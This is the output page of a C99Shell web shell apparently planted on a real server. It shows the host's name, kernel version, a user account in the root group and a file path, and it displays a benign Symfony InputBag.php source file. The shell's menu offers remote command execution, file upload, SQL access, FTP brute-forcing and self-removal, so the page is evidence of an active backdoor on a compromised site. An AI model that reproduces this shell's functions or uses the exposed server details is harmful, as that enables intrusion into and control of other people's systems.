!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/symfony/http-foundation/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     InputBag.php (4.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpFoundation;

use 
Symfony\Component\HttpFoundation\Exception\BadRequestException;

/**
 * InputBag is a container for user input values such as $_GET, $_POST, $_REQUEST, and $_COOKIE.
 *
 * @author Saif Eddin Gmati <azjezz@protonmail.com>
 */
final class InputBag extends ParameterBag
{
    
/**
     * Returns a scalar input value by name.
     *
     * @param string|int|float|bool|null $default The default value if the input key does not exist
     *
     * @return string|int|float|bool|null
     */
    
public function get(string $key$default null)
    {
        if (
null !== $default && !\is_scalar($default) && !(\is_object($default) && method_exists($default'__toString'))) {
            
trigger_deprecation('symfony/http-foundation''5.1''Passing a non-scalar value as 2nd argument to "%s()" is deprecated, pass a scalar or null instead.'__METHOD__);
        }

        
$value parent::get($key$this);

        if (
null !== $value && $this !== $value && !\is_scalar($value) && !(\is_object($value) && method_exists($value'__toString'))) {
            
trigger_deprecation('symfony/http-foundation''5.1''Retrieving a non-scalar value from "%s()" is deprecated, and will throw a "%s" exception in Symfony 6.0, use "%s::all($key)" instead.'__METHOD__BadRequestException::class, __CLASS__);
        }

        return 
$this === $value $default $value;
    }

    
/**
     * {@inheritdoc}
     */
    
public function all(?string $key null): array
    {
        return 
parent::all($key);
    }

    
/**
     * Replaces the current input values by a new set.
     */
    
public function replace(array $inputs = [])
    {
        
$this->parameters = [];
        
$this->add($inputs);
    }

    
/**
     * Adds input values.
     */
    
public function add(array $inputs = [])
    {
        foreach (
$inputs as $input => $value) {
            
$this->set($input$value);
        }
    }

    
/**
     * Sets an input by name.
     *
     * @param string|int|float|bool|array|null $value
     */
    
public function set(string $key$value)
    {
        if (
null !== $value && !\is_scalar($value) && !\is_array($value) && !method_exists($value'__toString')) {
            
trigger_deprecation('symfony/http-foundation''5.1''Passing "%s" as a 2nd Argument to "%s()" is deprecated, pass a scalar, array, or null instead.'get_debug_type($value), __METHOD__);
        }

        
$this->parameters[$key] = $value;
    }

    
/**
     * {@inheritdoc}
     */
    
public function filter(string $key$default nullint $filter \FILTER_DEFAULT$options = [])
    {
        
$value $this->has($key) ? $this->all()[$key] : $default;

        
// Always turn $options into an array - this allows filter_var option shortcuts.
        
if (!\is_array($options) && $options) {
            
$options = ['flags' => $options];
        }

        if (
\is_array($value) && !(($options['flags'] ?? 0) & (\FILTER_REQUIRE_ARRAY \FILTER_FORCE_ARRAY))) {
            
trigger_deprecation('symfony/http-foundation''5.1''Filtering an array value with "%s()" without passing the FILTER_REQUIRE_ARRAY or FILTER_FORCE_ARRAY flag is deprecated'__METHOD__);

            if (!isset(
$options['flags'])) {
                
$options['flags'] = \FILTER_REQUIRE_ARRAY;
            }
        }

        if ((
\FILTER_CALLBACK $filter) && !(($options['options'] ?? null) instanceof \Closure)) {
            
trigger_deprecation('symfony/http-foundation''5.2''Not passing a Closure together with FILTER_CALLBACK to "%s()" is deprecated. Wrap your filter in a closure instead.'__METHOD__);
            
// throw new \InvalidArgumentException(sprintf('A Closure must be passed to "%s()" when FILTER_CALLBACK is used, "%s" given.', __METHOD__, get_debug_type($options['options'] ?? null)));
        
}

        return 
filter_var($value$filter$options);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--